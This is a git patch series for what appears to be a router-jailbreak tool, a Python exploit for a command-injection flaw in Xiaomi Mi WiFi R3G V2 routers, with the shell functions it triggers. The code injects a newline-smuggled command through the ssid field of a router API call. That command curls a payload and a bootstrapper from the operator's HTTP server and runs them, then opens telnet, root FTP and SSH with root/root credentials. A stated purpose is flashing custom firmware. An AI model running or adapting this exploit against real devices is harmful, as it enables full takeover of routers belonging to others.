2>&1 } start_ftp() { - cd /tmp - ln -sfn busybox ftpd # Create symlink needed for running ftpd + echo "go to /tmp" >> $LOGFILE + cd /tmp >> $LOGFILE 2>&1 + echo "create link" >> $LOGFILE + ln -sfn busybox ftpd >> $LOGFILE 2>&1 # Create symlink needed for running ftpd + + echo "starting ftp" >> $LOGFILE ./busybox tcpsvd -vE 0.0.0.0 21 ./ftpd -Sw / >> /tmp/messages 2>&1 & + echo "ftp done" >> $LOGFILE } start_telnet() { - cd /tmp - ./busybox telnetd + echo "go to /tmp" >> $LOGFILE + cd /tmp >> $LOGFILE 2>&1 + + echo "start telnet" >> $LOGFILE + ./busybox telnetd >> $LOGFILE 2>&1 + echo "telnet done" >> $LOGFILE } start_ssh() { - cd /tmp + echo "go to /tmp" >> $LOGFILE + cd /tmp >> $LOGFILE 2>&1 - # Clean - rm -rf /tmp/dropbear - rm -rf /etc/dropbear - - # kill/stop dropbear, in case it is running from a previous execution + echo "kill/stop dropbear, in case it is running from a previous execution" >> $LOGFILE pgrep dropbear | xargs kill || true + sleep 2 # wait for the kill + + echo "clean old installation" >> $LOGFILE + rm -rf /tmp/dropbear >> $LOGFILE 2>&1 + rm -rf /tmp/dropbearStaticMipsel >> $LOGFILE 2>&1 # for old stuck files + rm -f /tmp/dropbear.tar >> $LOGFILE 2>&1 # for old stuck files + rm -rf /etc/dropbear >> $LOGFILE 2>&1 + + echo "Unzipping dropbear static mipsel binary" >> $LOGFILE + bunzip2 -f /tmp/dropbear.tar.bz2 >> $LOGFILE 2>&1 + + echo "Untarring dropbear static mipsel binary" >> $LOGFILE + tar -xf /tmp/dropbear.tar >> $LOGFILE 2>&1 - # Unpack dropbear static mipsel binary - bunzip2 -f /tmp/dropbear.tar.bz2 - tar -xf /tmp/dropbear.tar - mv /tmp/dropbearStaticMipsel /tmp/dropbear + echo "moving untared dropbear" >> $LOGFILE + mv /tmp/dropbearStaticMipsel /tmp/dropbear >> $LOGFILE 2>&1 # Add keys # http://www.ibiblio.org/elemental/howto/dropbear-ssh.html - mkdir -p /etc/dropbear - cd /etc/dropbear - /tmp/dropbear/dropbearkey -t rsa -f dropbear_rsa_host_key - /tmp/dropbear/dropbearkey -t dss -f dropbear_dss_host_key + echo "create dropbear folder in etc" >> $LOGFILE + mkdir -p /etc/dropbear >> $LOGFILE 2>&1 - # Start SSH server - /tmp/dropbear/dropbear + echo "go to /etc/dropbear" >> $LOGFILE + cd /etc/dropbear >> $LOGFILE 2>&1 + + echo "creating RSA Key" >> $LOGFILE + /tmp/dropbear/dropbearkey -t rsa -f dropbear_rsa_host_key >> $LOGFILE 2>&1 + + echo "creating DSS Key" >> $LOGFILE + /tmp/dropbear/dropbearkey -t dss -f dropbear_dss_host_key >> $LOGFILE 2>&1 + + echo "Start SSH server" >> $LOGFILE + /tmp/dropbear/dropbear >> $LOGFILE 2>&1 + sleep 2 # wait for the start + + echo "SSH done" >> $LOGFILE # https://unix.stackexchange.com/a/402749 # Login with ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -c 3des-cbc root@192.168.0.21 From 5989f5dde25452181f867e2493c9193c0ac376fa Mon Sep 17 00:00:00 2001 From: Thomas Behrend Date: Wed, 12 Apr 2023 18:30:13 +0200 Subject: [PATCH 7/7] Move into one script --- remote_command_execution_vulnerability.py | 213 ++++++++++--------- remote_command_execution_vulnerability_v2.py | 180 ---------------- 2 files changed, 112 insertions(+), 281 deletions(-) delete mode 100644 remote_command_execution_vulnerability_v2.py diff --git a/remote_command_execution_vulnerability.py b/remote_command_execution_vulnerability.py index c032fa2..d280393 100644 --- a/remote_command_execution_vulnerability.py +++ b/remote_command_execution_vulnerability.py @@ -1,17 +1,22 @@ #!/usr/bin/python -# There is a remote command execution vulnerability in Xiaomi Mi WiFi R3G before version stable 2.28.23. -# The backup file is in tar.gz format. After uploading, the application uses the tar zxf command to decompress, -# so you can control the contents of the files in the decompressed directory. -# In addition, the application's sh script for testing upload and download speeds will read the url list from /tmp/speedtest_urls.xml, -# and there is a command injection vulnerability. +''' +There is a remote command execution vulnerability in Xiaomi Mi WiFi R3G V2 with version 2.30.20 and up we can +use to activate Telnet and SSH to flash our own system on them. -# discoverer: UltramanGaia from Kap0k & Zhiniang Peng from Qihoo 360 Core Security +The script creates a payload, which is served via a local HTTP server, port 8000. The router +will download the payload, extracts it and executes the already known script. -# HOW TO RUN -# Install requirements -# pip3 install -r requirements.txt -# Run the script -# python3 remote_command_execution_vulnerability.py +The busybox executable was removed from the firmware, so we have to include one, same with +dropbear for SSH. They will be in the payload, no other downloads necessary. + +Source: https://github.com/acecilia/OpenWRTInvasion/issues/141#issuecomment-1296033775 + +HOW TO RUN +Install requirements +pip3 install -r requirements.txt +Run the script +python3 remote_command_execution_vulnerability.py +''' import os import shutil @@ -24,15 +29,31 @@ import hashlib import platform import socket +import urllib.parse +import socket +#------------------------------------------------------------------------------------------------------------------ if platform.system() == "Windows": sys.exit("Stopping: script can only be run on a Mac/Linux system") - -router_ip_address="miwifi.com" -#router_ip_address = "192.168.31.1" -router_ip_address = input("Router IP address [press enter for using the default '{}']: ".format(router_ip_address)) or router_ip_address - -# get stok +#------------------------------------------------------------------------------------------------------------------ + +#------------------------------------------------------------------------------------------------------------------ +# functions +# get_hosting_ip for the webserver request +def get_hosting_ip(): + s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) + s.settimeout(0) + try: + # doesn't even have to be reachable + s.connect(('192.168.31.1', 1)) + IP = s.getsockname()[0] + except Exception: + IP = '127.0.0.1' + finally: + s.close() + return IP +#------------------------------------------------------------------------------------------------------------------ +# get stok for router access def get_stok(router_ip_address): try: r0 = requests.get("http://{router_ip_address}/cgi-bin/luci/web".format(router_ip_address=router_ip_address)) @@ -46,7 +67,8 @@ def get_stok(router_ip_address): return None key = re.findall(r'key: \'(.*)\',', r0.text)[0] nonce = "0_" + mac + "_" + str(int(time.time())) + "_" + str(random.randint(1000, 10000)) - router_password = input("Enter router admin password: ") + router_password = "12345678" + router_password = input("Enter router admin password: '{}']: ".format(router_password)) or router_password account_str = hashlib.sha1((router_password + key).encode('utf-8')).hexdigest() password = hashlib.sha1((nonce + account_str).encode('utf-8')).hexdigest() data = "username=admin&password={password}&logtype=2&nonce={nonce}".format(password=password,nonce=nonce) @@ -60,81 +82,35 @@ def get_stok(router_ip_address): print("Failed to get stok in login response '{}'".format(r1.text)) return None return stok +#------------------------------------------------------------------------------------------------------------------ +# create_exploit_url creates the URL we use, to upload our payload and execute it +def create_exploit_url(http_port_number): + exploit_cmd = "cd /tmp && " + exploit_cmd += "curl -s http://{}:{}/build/payload.tar.gz > payload.tar.gz && ".format(hosting_ip, http_port_number) + exploit_cmd += "curl -s http://{}:{}/bootstrapper_v2.sh > bootstrapper.sh && ".format(hosting_ip, http_port_number) + exploit_cmd += "/bin/ash /tmp/bootstrapper.sh".format(hosting_ip, http_port_number, hosting_ip, http_port_number) + -stok = get_stok(router_ip_address) or input("You need to get the stok manually, then input the stok here: ") -print("""There two options to provide the files needed for invasion: - 1. Use a local TCP file server runing on random port to provide files in local directory `script_tools`. - 2. Download needed files from remote github repository. (choose this option only if github is accessable inside router device.)""") -use_local_file_server = (input("Which option do you prefer? (default: 1)") or "1") == "1" - -# From https://blog.securityevaluators.com/show-mi-the-vulns-exploiting-command-injection-in-mi-router-3-55c6bcb48f09 -# In the attacking machine (macos), run the following before executing this script: /usr/bin/nc -l 4444 -command = "((sh /tmp/script.sh exploit) &)" - -# proxies = {"http":"http://127.0.0.1:8080"} -proxies = {} - -if os.path.exists("build"): - shutil.rmtree("build") -os.makedirs("build") - -# make config file -speed_test_filename = "speedtest_urls.xml" -with open("speedtest_urls_template.xml", "rt", encoding = "UTF-8") as f: - template = f.read() -data = template.format(router_ip_address=router_ip_address, command=command) -# print(data) -with open("build/speedtest_urls.xml", "wt", encoding = "UTF-8", newline = "\n") as f: - f.write(data) - -print("****************") -print("router_ip_address: " + router_ip_address) -print("stok: " + stok) -print("file provider: " + ("local file server" if use_local_file_server else "remote github repository")) -print("****************") - -# Make tar -with tarfile.open("build/payload.tar.gz", "w:gz") as tar: - tar.add("build/speedtest_urls.xml", "speedtest_urls.xml") - tar.add("script.sh") - # tar.add("busybox") - # tar.add("extras/wget") - # tar.add("extras/xiaoqiang") - -# upload config file -print("start uploading config file...") -r1 = requests.post( - "http://{}/cgi-bin/luci/;stok={}/api/misystem/c_upload".format(router_ip_address, stok), - files={"image": open("build/payload.tar.gz", 'rb')}, - proxies=proxies -) -# print(r1.text) - -def send_test_netspeed_request(router_ip_address, stok, port): - r = requests.get( - "http://{}/cgi-bin/luci/;stok={}/api/xqnetdetect/netspeed?{}".format(router_ip_address, stok, port), - proxies=proxies - ) - # print(r.text) - -# exec download speed test, exec command -print("start exec command...") -if use_local_file_server: - from tcp_file_server import TcpFileServer - file_server = TcpFileServer("script_tools") - - with file_server: - # The TCP file server will use a random port number. - # And this port number will be sent to the router luci web server through query parameters of testing net speed request here. - # Then in the injected `script.sh`, we can get the client IP address and file server port - # through CGI variables `REMOTE_ADDR` and `QUERY_STRING` to download needed files. - send_test_netspeed_request(router_ip_address, stok, file_server.port) -else: # Use remote github repository. port setted to 0. - send_test_netspeed_request(router_ip_address, stok, port=0) - -retry = 3 -delay = 1 -timeout = 3 + print("exploit url: {}".format(exploit_cmd)) + exploit_code = urllib.parse.quote(exploit_cmd).replace("/", "%2F") + print("exploit_code: {}".format(exploit_code)) + + exploit_url = "http://{}/cgi-bin/luci/;stok={}/api/misystem/set_config_iotdev?bssid=XXXXXX&user_id=XXXXXX&ssid=-h%0A{}%0A".format(router_ip_address, stok, exploit_code) + print("exploit_url: {}".format(exploit_url)) + return exploit_url +#------------------------------------------------------------------------------------------------------------------ +# checkHost - checks the host connection +def checkHost(ip, port): + ipup = False + for i in range(retry): + if isOpen(ip, port): + ipup = True + break + else: + time.sleep(delay) + return ipup +#------------------------------------------------------------------------------------------------------------------ +# isOpen checks ports on the router def isOpen(ip, port): s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(timeout) @@ -146,16 +122,51 @@ def isOpen(ip, port): return False finally: s.close() +#------------------------------------------------------------------------------------------------------------------ +# BuildPayload creates the tar.gz we let the router download from out client +def BuildPayload(): + if os.path.exists("build"): + shutil.rmtree("build") + + os.makedirs("build") + + # Make tar + with tarfile.open("build/payload.tar.gz", "w:gz") as tar: + tar.add("script_v2.sh", "script.sh") + tar.add("extras/busybox/busybox", "busybox") + tar.add("script_tools/dropbearStaticMipsel.tar.bz2", "dropbear.tar.bz2") +#------------------------------------------------------------------------------------------------------------------ +def ExecuteInjection(): + from http_file_server import HttpFileServer + web_server = HttpFileServer("build") + + with web_server: + # upload and execute payload + print("start uploading payload file...") + payload_download = requests.get(create_exploit_url(web_server.port)) + print(payload_download.text) + +#------------------------------------------------------------------------------------------------------------------ +# Scriptstart +#------------------------------------------------------------------------------------------------------------------ +hosting_ip = get_hosting_ip() +http_port_number = 0 +router_ip_address="192.168.31.1" +router_ip_address = input("Router IP address [press enter for using the default '{}']: ".format(router_ip_address)) or router_ip_address +hosting_ip = input("Local Host IP address [press enter for using the default '{}']: ".format(hosting_ip)) or hosting_ip +stok = get_stok(router_ip_address) or input("You need to get the stok manually, then input the stok here: ") -def checkHost(ip, port): - ipup = False - for i in range(retry): - if isOpen(ip, port): - ipup = True - break - else: - time.sleep(delay) - return ipup +print("****************") +print("router_ip_address: " + router_ip_address) +print("stok: " + stok) +print("****************") + +BuildPayload() +ExecuteInjection() + +retry = 5 +delay = 5 +timeout = 20 if checkHost(router_ip_address, 22): print("done! Now you can connect to the router using several options: (user: root, password: root)") diff --git a/remote_command_execution_vulnerability_v2.py b/remote_command_execution_vulnerability_v2.py deleted file mode 100644 index 1c7adcc..0000000 --- a/remote_command_execution_vulnerability_v2.py +++ /dev/null @@ -1,180 +0,0 @@ -#!/usr/bin/python -''' -There is a remote command execution vulnerability in Xiaomi Mi WiFi R3G V2 with version 2.30.20. - -The script creates a payload, which is served via a local HTTP server, port 8000. The router -will download the payload, extracts it and executes the already known script. - -The busybox executable was removed from the firmware, so we have to include one, same with -dropbear for SSH. They will be in the payload, no other downloads necessary. - -Because of the changes, I've made a V2 version of the exploit, because the script was downloading -files by itself. - - -source: https://github.com/acecilia/OpenWRTInvasion/issues/141#issuecomment-1296033775 - -HOW TO RUN -Install requirements -pip3 install -r requirements.txt -Run the script -python3 remote_command_execution_vulnerability_v2.py -''' - -import os -import shutil -import tarfile -import requests -import sys -import re -import time -import random -import hashlib -import platform -import socket -import urllib.parse -import socket - -#------------------------------------------------------------------------------------------------------------------ -#if platform.system() == "Windows": -# sys.exit("Stopping: script can only be run on a Mac/Linux system") -#------------------------------------------------------------------------------------------------------------------ - -#------------------------------------------------------------------------------------------------------------------ -# functions -# get_hosting_ip for the webserver request -def get_hosting_ip(): - s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) - s.settimeout(0) - try: - # doesn't even have to be reachable - s.connect(('192.168.31.1', 1)) - IP = s.getsockname()[0] - except Exception: - IP = '127.0.0.1' - finally: - s.close() - return IP -#------------------------------------------------------------------------------------------------------------------ -# get stok for router access -def get_stok(router_ip_address): - try: - r0 = requests.get("http://{router_ip_address}/cgi-bin/luci/web".format(router_ip_address=router_ip_address)) - except: - print ("Xiaomi router not found...") - return None - try: - mac = re.findall(r'deviceId = \'(.*?)\'', r0.text)[0] - except: - print ("Xiaomi router not found...") - return None - key = re.findall(r'key: \'(.*)\',', r0.text)[0] - nonce = "0_" + mac + "_" + str(int(time.time())) + "_" + str(random.randint(1000, 10000)) - router_password = "12345678" - router_password = input("Enter router admin password: '{}']: ".format(router_password)) or router_password - account_str = hashlib.sha1((router_password + key).encode('utf-8')).hexdigest() - password = hashlib.sha1((nonce + account_str).encode('utf-8')).hexdigest() - data = "username=admin&password={password}&logtype=2&nonce={nonce}".format(password=password,nonce=nonce) - r1 = requests.post("http://{router_ip_address}/cgi-bin/luci/api/xqsystem/login".format(router_ip_address=router_ip_address), - data = data, - headers={"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:65.0) Gecko/20100101 Firefox/65.0", - "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8"}) - try: - stok = re.findall(r'"token":"(.*?)"',r1.text)[0] - except: - print("Failed to get stok in login response '{}'".format(r1.text)) - return None - return stok -#------------------------------------------------------------------------------------------------------------------ -# create_exploit_url creates the URL we use, to upload our payload and execute it -def create_exploit_url(http_port_number): - exploit_cmd = "cd /tmp && " - exploit_cmd += "curl -s http://{}:{}/build/payload.tar.gz > payload.tar.gz && ".format(hosting_ip, http_port_number) - exploit_cmd += "curl -s http://{}:{}/bootstrapper_v2.sh > bootstrapper.sh && ".format(hosting_ip, http_port_number) - exploit_cmd += "/bin/ash /tmp/bootstrapper.sh".format(hosting_ip, http_port_number, hosting_ip, http_port_number) - - - print("exploit url: {}".format(exploit_cmd)) - exploit_code = urllib.parse.quote(exploit_cmd).replace("/", "%2F") - print("exploit_code: {}".format(exploit_code)) - - exploit_url = "http://{}/cgi-bin/luci/;stok={}/api/misystem/set_config_iotdev?bssid=XXXXXX&user_id=XXXXXX&ssid=-h%0A{}%0A".format(router_ip_address, stok, exploit_code) - print("exploit_url: {}".format(exploit_url)) - return exploit_url -#------------------------------------------------------------------------------------------------------------------ -# checkHost - checks the host connection -def checkHost(ip, port): - ipup = False - for i in range(retry): - if isOpen(ip, port): - ipup = True - break - else: - time.sleep(delay) - return ipup -#------------------------------------------------------------------------------------------------------------------ -# isOpen checks ports on the router -def isOpen(ip, port): - s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) - s.settimeout(timeout) - try: - s.connect((ip, int(port))) - s.shutdown(socket.SHUT_RDWR) - return True - except: - return False - finally: - s.close() -#------------------------------------------------------------------------------------------------------------------ -# BuildPayload creates the tar.gz we let the router download from out client -def BuildPayload(): - if os.path.exists("build"): - shutil.rmtree("build") - - os.makedirs("build") - - # Make tar - with tarfile.open("build/payload.tar.gz", "w:gz") as tar: - tar.add("script_v2.sh", "script.sh") - tar.add("extras/busybox/busybox", "busybox") - tar.add("script_tools/dropbearStaticMipsel.tar.bz2", "dropbear.tar.bz2") -#------------------------------------------------------------------------------------------------------------------ -def ExecuteInjection(): - from http_file_server import HttpFileServer - web_server = HttpFileServer("build") - - with web_server: - # upload and execute payload - print("start uploading payload file...") - payload_download = requests.get(create_exploit_url(web_server.port)) - print(payload_download.text) - -#------------------------------------------------------------------------------------------------------------------ -hosting_ip = get_hosting_ip() -http_port_number = 0 -router_ip_address="192.168.31.1" -router_ip_address = input("Router IP address [press enter for using the default '{}']: ".format(router_ip_address)) or router_ip_address -hosting_ip = input("Local Host IP address [press enter for using the default '{}']: ".format(hosting_ip)) or hosting_ip -stok = get_stok(router_ip_address) or input("You need to get the stok manually, then input the stok here: ") - -print("****************") -print("router_ip_address: " + router_ip_address) -print("stok: " + stok) -print("****************") - -BuildPayload() -ExecuteInjection() - -retry = 5 -delay = 5 -timeout = 20 - -if checkHost(router_ip_address, 22): - print("done! Now you can connect to the router using several options: (user: root, password: root)") - print("* telnet {}".format(router_ip_address)) - print("* ssh -oKexAlgorithms=+diffie-hellman-group1-sha1 -c 3des-cbc -o UserKnownHostsFile=/dev/null root@{}".format(router_ip_address)) - print("* ftp: using a program like cyberduck") -else: - print("Warning: the process has finished, but seems like ssh connection to the router is not working as expected.") - print("* Maybe your firmware version is not supported, please have a look at https://github.com/acecilia/OpenWRTInvasion/blob/master/README.md#unsupported-routers-and-firmware-versions") - print("* Anyway you can try it with: telnet {}".format(router_ip_address)) \ No newline at end of file